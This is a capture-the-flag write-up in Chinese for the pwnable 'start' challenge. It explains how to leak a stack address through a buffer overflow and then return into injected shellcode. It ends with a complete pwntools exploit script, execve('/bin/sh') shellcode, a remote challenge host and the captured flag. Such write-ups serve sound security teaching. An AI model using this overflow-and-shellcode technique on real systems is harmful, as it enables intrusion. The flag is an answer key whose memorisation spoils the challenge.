pwnable_start

程序运行运行完start函数就会结束,一个精心构造的程序。可以看到程序先write(系统调用为4)后read(系统调用号为3)。在read中,有大约40个字节的溢出(包括返回地址处)。
这到题的思路是泄漏栈上的地址,然后将shellcode送入栈中最后返回到栈中。
start中的push offset _exit刚好对应最后的retn。也就是说,程序执行完start函数后就会执行exit函数正常结束。不过值得注意的是,前面的push esp将栈指针保存到了栈上,我们可以根据此来泄漏栈地址。栈的结构如下:

上图是我们第一次在start函数里面在push所有的字符之后的栈结构,我们假设stackbase在程序的某一次运行是不变的,以此为基准。那么saved esp的值就是 stackbase + 28,没错saved esp就是pop saved esp之后的esp的值。
第一次离开start的时候,如果我们将offset _exit覆盖为0x08048087,那么就可以打印出saved esp中的值。刚跳回到0x08048087的此时此刻 esp + 4 = saved esp

依照红色的表达式。我们在第二次溢出的时候修改返回地址为esp + 0x18 == saved esp + 0x14,并且在覆盖返回地址之后马上写入shellcode即可返回到shellcode。
from pwn import *
p = remote('node3.buuoj.cn', 29909)
#p = process('./start')
elf = ELF('./start')
shellcode='''
xor eax,eax
push eax
push 0x0068732f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
xor edx,edx
mov al,0xb
int 0x80
'''
# leak stack
payload = b'b' * 0x14 + p32(0x08048087)
p.send(payload)
p.recvuntil(':')
esp = u32(p.recv(4))
print("esp: " + hex(esp))
# Get shell
payload = b'b' * 0x14 + p32(esp+0x14) + asm(shellcode)
p.send(payload)
p.interactive()
# flag{aba0c481-c9a9-4886-a769-e941a8a568e1}